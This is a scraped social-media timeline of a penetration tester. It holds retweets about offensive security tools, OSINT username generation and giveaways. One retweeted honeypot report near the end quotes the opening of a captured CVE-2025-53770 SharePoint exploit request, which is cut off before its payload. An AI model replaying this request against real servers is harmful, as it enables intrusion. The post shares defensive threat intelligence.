@TurvSec

Professional Hacker. Founder of PenTest reporting tool https://xitter.cf/t.co/wU45D4wCUG Collects infosec tools like Pokémon cards at: https://xitter.cf/t.co/HUC8oTdRCo

 Buckinghamshire
youtube.com/c/mrturvey
Joined May 2009
  • Tweets4.9K
  • Following386
  • Followers7.7K
373Media
Luke Turvey retweeted
XBOX
@XBOXJul 27
A ride fit for a Spartan. Follow & repost with #MasterChief117Sweepstakes for a chance to win a custom-designed Lamborghini Urus 117 Edition 1:18-scale collectible replica!  18+. Ends 9/13/26. Rules: xbx.lv/4hAiwxf
Master Chief holds a model of the custom “117” Lamborghini.

ALT Master Chief holds a model of the custom “117” Lamborghini.

1,074
2,579
2,080
8,016
1,042,047
Luke Turvey retweeted
Luke Turvey
@TurvSecFeb 2
Fortinet: Haha, watch this.
spencer
@techspenceFeb 1
Just think guys…this is the worst technology will ever be 🤯
1
10
526
Luke Turvey retweeted
_Ray@_RayRT18 Dec 2025
One-shot ESC1 + unPAC BOF for Havoc and CS. The certificate request includes the target's SID in the SAN to comply with strong mapping requirements (KB5014754). Hope it’s useful github.com/RayRRT/ESC1-unPAC
2
44
1
202
12,557
Luke Turvey retweeted
Luke Turvey
@TurvSec18 Dec 2025
The @GLiNetWiFi KVM I kickstarted arrived!
2
2
5
1,506
Luke Turvey retweeted
invalid@dedsecx019 Dec 2025
berebut parking going to be crazy
Khairulaming
@khairulaming9 Dec 2025
Selepas setahun simpan rahsia, i’m pleased to announce restoran pertama Khairulaming Dengan menelan modal 4 juta ringgit, kita bina bangunan dari scratch di atas tanah kosong seluas 8,000 kaki di Kg Baru, jarak 9 minit dari KLCC. Ini adalah investment terbesar KA pernah buat untuk one single project Selepas 10 tahun dalam dunia online, i’m finally ready untuk mulakan langkah ke dunia offline. Ini adalah permulaan untuk planning KA 10 tahun yang seterusnya. Selamat datang ke Rembayung 😊
1
231
Giveaway. @TurvSec is sponsoring HackTheBox Academy giftcards. I've got 5 giftcards worth $50. If you'd like a $50 giftcard for HackTheBox to do stuff, leave a comment below. Winners will be selected in 24 hours.
537
50
2
474
30,071
We now have an RTO & RTO II bundle: zeropointsecurity.co.uk/prog… At 40% off right now, this is an absolute steal.

Red Team Operations

Get RTO & RTO II in a discounted bundle

zeropointsecurity.co.uk
9
37
2
214
27,554
🎊Big thanks to two new sponsors for rep+! Your support helps me focus on building a valuable, open-source tool for everyone. Every contribution counts! Thank you @assem_ch , @TurvSec
1
1
34
1,138
Luke Turvey retweeted
🕳@sekurlsa_pw10 Nov 2025
Replying to @techspence
@techspence
1
18
7
150
36,792
Luke Turvey retweeted
Luke Turvey
@TurvSec7 Nov 2025
Just released a new tool, as I found my old public document metadata extraction tool was broken. GotMeta - A Python tool for discovering, downloading, and extracting metadata from publicly available files on target domains. ⭐️File Finder - Find publicly available files on target domains ⭐️Metadata Extraction - Extract all metadata using exiftool ⭐️Multi-threaded Downloads - Fast concurrent file downloads (default 5 threads) ⭐️Proxy Support - Route through Burp Suite or other proxies to bypass anti-bot protection ⭐️URL List Mode - Skip API search and download from manual file list.
1
1
1
211
I’ve been very lucky with companies I’ve worked for, but would love to hear how others approach this fine line.
EZ@IAMERICAbooted1 Nov 2025
I struggle with wanting to post content and then worrying about someone complaining because they think it's about my current workplace when it's stuff I've seen consulting, even though I dont tell anyone where I work, not even on my LinkedIn 🙄 😒 Look, I've worked with ~50 orgs now. I see the same shit everywhere in varying configurations.
5
1
18
8,869
Luke Turvey retweeted
Luke Turvey
@TurvSec29 Oct 2025
I just released PluggedIn 🔌🔥 A Chromium-based browser OSINT extension that extracts employee names from LinkedIn company pages and generates username lists in multiple formats. John Smith listed in a company page will be returned as: jsmith@.xxx j.smith@.xxx johns@.xxx john.smith.xxx smithj.xxx john.xxx Based on the commonly used Python tool linkedin2username, bigup
1
1
292
xitter.cf/albinowax/status/19802…
James Kettle
@albinowax20 Oct 2025
HTTP is supposed to be stateless, but sometimes... it isn't! Some servers create invisible vulnerabilities by only validating the first request on each TCP/TLS connection. I've just published a Custom Action to help you detect & exploit this - here's a narrated demo:
1
28
2
369
48,882
Luke Turvey retweeted
Het Mehta
@hetmehtaa10 Oct 2025
List of open-source Web/API Hacking tools: pentestlist.com/tools
5
112
626
29,130
Is nothing sacred anymore? With everything else going on in the world, can we leave the beer supply alone, please?
6
9
3
77
5,191
Luke Turvey retweeted
_Ray@_RayRT8 Sep 2025
Recently, a friend fell victim to an email account compromise so I decided to investigate the attack chain to help. The attack leveraged well-known techniques such as stolen credentials, malicious OAuth apps, and hidden Outlook rules: rayrt.gitlab.io/posts/Persis…

Persistent Compromise - OAuth Tokens & Hidden Inbox Rules

Recently, a friend fell victim to an email account compromise so I decided to investigate the attack chain to help. While the exact initial entry vector remains unknown, it was likely either a...

rayrt.gitlab.io
1
2
416
Releasing a project I've been working on for a while: thermoptic - A next-generation HTTP stealth proxy which perfectly cloaks requests as the Chrome browser across all layers of the stack. github.com/mandatoryprogramm…
10
44
6
257
23,145
Luke Turvey retweeted
Marc Lou
@marclou23 Aug 2025
The most useful habit I’ve built: When something bad happens, I always look for the upside.
98
22
6
554
36,677
Luke Turvey retweeted
Justin Elze
@HackingLZ23 Jul 2025
This might be useful for enumerating the SaaS products companies use, but it was more of an exercise in seeing how many DNS patterns I could get public LLMs to generate. github.com/HackingLZ/saas_en…

GitHub - HackingLZ/saas_enum: Command-line tool for discovering SaaS platforms a company uses via...

Command-line tool for discovering SaaS platforms a company uses via DNS enumeration - HackingLZ/saas_enum

github.com
6
31
92
8,371
Luke Turvey retweeted
Simo
@SimoKohonen21 Jul 2025
And here we go, first CVE-2025-53770 exploit hitting the honeypots I deployed. I guess there is a public exploit now somewhere? POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Connection: close Content-Length: 516 Accept: */* Accept-Language: en Content-Type: application/x-www-form-urlencoded Referer: /_layouts/SignOut.aspx Accept-Encoding: gzip MSOTlPn_Uri=http://localhost/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP= <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
Simo
@SimoKohonen20 Jul 2025
Brb deploying 25 sharepoint honeypots / decoys...
7
72
5
384
62,928
Load more